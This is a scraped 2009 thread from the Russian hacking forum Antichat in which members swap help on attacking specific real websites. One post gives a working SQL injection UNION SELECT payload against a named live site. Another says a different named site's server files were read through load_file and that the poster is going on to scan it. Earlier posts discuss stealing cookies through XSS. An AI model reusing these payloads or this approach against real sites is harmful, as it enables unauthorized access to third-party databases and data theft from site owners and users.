HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 15.10.2009, 18:54
Shaitan-Devil
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
С нами: 9336002

Репутация: 204
По умолчанию

Скорее всего как сказали выше пехопе не исполняется для твоих файлов. Вообще сайт написан на чем?
 
Ответить с цитированием

  #2  
Старый 15.10.2009, 19:56
Shadrin
Постоянный
Регистрация: 20.08.2008
Сообщений: 348
С нами: 9328846

Репутация: 270
По умолчанию

на php, стоит относильно известная СМS
 
Ответить с цитированием

  #3  
Старый 15.10.2009, 19:58
kote_otake
Новичок
Регистрация: 15.10.2009
Сообщений: 1
С нами: 8722189

Репутация: 1
По умолчанию

Я конечно, ламер, но можно вопрос?
Если сайт не юзает XSS, то можно сташить куки через сниффер?
Или это невозможно?
 
Ответить с цитированием

  #4  
Старый 15.10.2009, 20:53
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами: 9347610

Репутация: 165
По умолчанию

Цитата:
Сообщение от kote_otake  
Я конечно, ламер, но можно вопрос?
Если сайт не юзает XSS, то можно сташить куки через сниффер?
Или это невозможно?
извени, но нет
 
Ответить с цитированием

  #5  
Старый 15.10.2009, 22:08
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
С нами: 9362947

Репутация: 1196


По умолчанию

Цитата:
Сообщение от kote_otake  
сайт не юзает XSS
что то новое
 
Ответить с цитированием

  #6  
Старый 15.10.2009, 22:41
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
С нами: 9594385

Репутация: 386
По умолчанию

Цитата:
Я конечно, ламер, но можно вопрос?
Если сайт не юзает XSS, то можно сташить куки через сниффер?
Или это невозможно?
можно, но для этого нужо какимто образом заставить жертву ввести скрипт в адресную строку.
 
Ответить с цитированием

  #7  
Старый 15.10.2009, 22:51
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
С нами: 9950786

Репутация: 214


По умолчанию

http://armatula.ru/index.php?id=73'
Раскручиваемо?
 
Ответить с цитированием

  #8  
Старый 15.10.2009, 23:05
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
С нами: 9594385

Репутация: 386
По умолчанию

раскручиваемо:
http://armatula.ru/index.php?id=-73'+union+select+version(),2,3+--+
 
Ответить с цитированием

  #9  
Старый 15.10.2009, 23:57
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
С нами: 9837719

Репутация: 466
По умолчанию

есть сайт http://danielbrowninc.com/story_preview.php
вылазит ошибка /www/danielbrowninc.com/includes/functions.inc

иду на http://danielbrowninc.com/includes/ или на http://danielbrowninc.com/includes/functions.inc
вылазит 404 ошибка! как такое могет быть?
 
Ответить с цитированием

  #10  
Старый 16.10.2009, 00:04
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
С нами: 9837719

Репутация: 466
По умолчанию

не! физически файл существуеть! я его через load_file читаю

Add: Пошел pelmeshk0 сканить

Последний раз редактировалось Rubaka; 16.10.2009 в 00:49.. Причина: добавил!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.